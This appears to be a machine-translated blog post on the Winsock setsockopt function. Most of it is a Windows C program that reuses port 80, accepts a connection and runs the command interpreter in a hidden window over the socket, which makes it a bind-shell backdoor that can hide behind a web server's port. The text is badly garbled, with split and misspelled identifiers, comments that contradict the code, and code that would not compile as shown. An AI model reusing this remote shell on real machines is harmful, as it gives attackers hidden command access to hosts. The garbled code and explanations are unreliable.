Setsockopt bind port 80

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Setsockopt sets the options associated with a socket.

<Param> sock </param> socket to be set

The protocol layer of the <param> level </param> option. For example, the socket layer sol_socket

Option name of the <param> optname </param> operation

<Param> optval </param> indicates the buffer containing the new option value.

The length of the <param> optlen </param> option.It is almost the length of the pointer. Because parameter 4 is a pointer, it may be for 32-bit and 64-bit versions..

Functions have many functions, such:

Q1 allows reuse of local addresses and ports. In this example, port 80 is reused.

Q2: set the size of the receiving buffer

// Receive the buffer int nrecvbuf = 32*1024; // set it to 32 ksetsockopt (S, sol_socket, so_rcvbuf, (const char *) & nrecvbuf, sizeof (INT ));

Q3 and set the sending and receiving time limit

Int nnettimeout = 1000; // 1 second // setsockopt (socket, sol_s0cket, so_sndtimeo, (char *) & nnettimeout, sizeof (INT )); // receipt time limit setsockopt (socket, sol_s0cket, so_rcvtimeo, (char *) & nnettimeout, sizeof (INT ));

// Mini. cpp: defines the entry point of the console application. # Include "stdafx. H "# pragma comment (Lib," ws2_32.lib ") # include <winsock2.h> # include <windows. h> // # pragma comment (linker, "/subsystem: \" WINDOWS \ "/entry: \" maincrtstartup \"") # define max_ser 10 # define host_path 256 # define hostname_size host_path # define masterport 80 // define the listening port char hostname [max_path] = {0}; unsigned short maxservice; unsigned short port; void Service (lpvoid LPV); int loopcontrol (socket llistenf D, int ismultitasking); void initial (); int initsockets (void); // initialize windows socketint main (INT argc, char * argv []) {socket listenfd, acceptfd; struct sockaddr_in serveraddr, clientaddr; char buffer [1024]; int nsize = sizeof (sockaddr_in); int err; process_information processinfo; startupinfo; char szlimit path [255]; initial (); initsockets (); // allocate memory resources zeromemory (& processinfo, sizeof (process_information); ze Romemory (& startupinfo, sizeof (startupinfo); getenvironmentvariable ("comspec", sz1_path, sizeof (sz1_path); // getstartupinfo (& startupinfo ); // create a socket // listenfd = socket (pf_inet, sock_stream, 0);/** the wsasocket function creates a socket that is bound to a specific transport-service provider. */listenfd = wsasocket (af_inet, sock_stream, ipproto_tcp, null, 0, 0); bool Var = true;/** s [in]: A descriptor that identif IES a socket. * level [in]: the level at which the option is defined (for example, sol_socket ). * optname [in]: The socket option for which the value is to be set (for example, so_broadcast ). * optval [in]: a pointer to the buffer in which the value for the requested option is specified. * optlen [in]: The size, in bytes, of the buffer pointed to by the optval parameter. */setsockopt (listenfd, sol_socket, So_reuseaddr, (char *) & var, sizeof (VAR); If (listenfd = invalid_socket) {printf ("error: Out of socket resource \ n "); return 1;} // bind the local port serveraddr. sin_family = af_inet; // The protocol type is inetserveraddr. sin_addr.s_un.s_addr = inet_addr ("192.168.1.9"); // htonl (inaddr_any); // The local ipserveraddr. sin_port = htons (masterport); // The binding port is 9990err = BIND (listenfd, (const struct sockaddr *) & serveraddr, sizeof (serveraddr); If (ERR = invalid_socket) {Printf ("error: Unable to bind socket \ n"); return 1;} // listen listener port err = listen (listenfd, 3 ); if (ERR = invalid_socket) {printf ("error: Listen socket failed \ n"); return 1 ;}printf ("Listen ...... "); acceptfd = accept (listenfd, (struct sockaddr *) & clientaddr, & nsize); // prepare for receiving customer connections/** nlength: The size, in bytes, of this structure. * lpsecuritydescriptor: a pointer to a security_descriptor structure that controls Access to the object, if the value of this Member is null, * the object is assigned the default security descriptor associated with the access token of the calling process. * binherithandle: A boolean value that specifies whether the returned handle is inherited when a new process is created. */security_attributes SA; SA. nlength = 12; SA. lpsecuritydescriptor = 0; SA. binherithandle = true; handle hreadpipe1; Handle hwritepipe1; handle hreadpipe2; handle hwritepipe2;/** creates an anonymous pipe, and returns handles to the read and write ends of the pipe. * hreadpipe [out]: A pointer to a variable that reads es the read handle for the pipe. * hwritepipe [out]: A pointer to a variable that contains es the write handle for the pipe. * lppipeattributes [IN, optional]: If lppipeattributes is null, the handle can Not be inherited. * nsize [in]: the size of the buffer for the pipe, in bytes. the size is only a suggestion; * The system uses the value to calculate an appropriate buffering mechanic. if this parameter is zero, the system uses the default buffer size. */err = createpipe (& hreadpipe1, & hwritepipe1, & SA, 0); err = createpipe (& hreadpipe2, & hwritepipe2, & SA, 0 ); // configure the hidden window struct startupinfo. CB = sizeof (startupinfo); star Tupinfo. wshowwindow = sw_hide; startupinfo. dwflags = startf_usestdhandles | startf_useshowwindow; startupinfo. hstdinput = hreadpipe2; startupinfo. hstdoutput = hwritepipe1; startupinfo. hstderror = hwritepipe1; // create an anonymous pipeline bool ret = CreateProcess (null, sz1_path, null, null, true, 0, null, null, & startupinfo, & processinfo ); if (RET) {printf ("% d", getlasterror ();} unsigned long lbytesread; while (1) {/** copies data from a named or anony MOUs pipe into a buffer without removing it from the pipe. it also returns information about data in the pipe. * hnamedpipe [in]: a handle to the pipe. this parameter can be a handle to a named pipe instance * lpbuffer [out, optional]: A pointer to a buffer that reads es data read from the pipe. this parameter can be null if no data is to be read. * nbuffersize [in]: the size of the buffer specifie D by the lpbuffer parameter, in bytes. this parameter is ignored if lpbuffer is null. * lpbytesread [out, optional]: A pointer to a variable that contains es the number of bytes read from the pipe. this parameter can be null if no data is to be read. * lptotalbytesavail [out, optional]: pointer to a variable that means es the total number of bytes available to be read from the pipe. * lpbytesleftthism Essage [out, optional]: A pointer to a variable that matches es the number of bytes remaining in this message */err = peeknamedpipe (hreadpipe1, buffer, 1024, & lbytesread ); if (lbytesread) {/** reads data from the specified file or input/output (I/O) device * hfile [in]: a handle to the device * lpbuffer [out]: a pointer to the buffer that reads es the data read from a file or device. * nnumberofbytestor EAD [in]: the maximum number of bytes to be read. * lpnumberofbytesread [out, optional]: a pointer to the variable that represents es the number of bytes read when using a synchronous hfile parameter * lpoverlapped [In, out, optional]: */ret = readfile (hreadpipe1, buffer, lbytesread, & lbytesread, 0); If (! RET) {break;} ret = Send (acceptfd, buffer, lbytesread, 0); If (Ret <= 0) break;} else {lbytesread = Recv (acceptfd, buffer, 1024,0); If (lbytesread <= 0) {break;}/** if the function succeeds, the return value is nonzero (true ). */ret = writefile (hwritepipe2, buffer, lbytesread, & lbytesread, 0); If (! RET) break; }}// waitforsingleobject (processinfo. hprocess, infinite); closehandle (processinfo. hprocess); closehandle (processinfo. hthread); printf ("server is down \ n"); // closes the Process Handle closesocket (listenfd); closesocket (acceptfd); wsacleanup (); Return 0 ;} void initial () {maxservice = 3; Port = 5054;}/** Winsock service initialization */INT initsockets (void) {wsadata; Word sockversion; // typedef unsigned short word (16) int err; sockversi On = makeword (2, 2); err = wsastartup (sockversion, & wsadata); If (Err! = 0) {printf ("error % d: Winsock not avaliable \ n", err);} printf ("Environemnt invaild success ..... \ n "); Return 0 ;}

We are disappointed that the program is only executed once and cannot be connected later.

Setsockopt bind port 80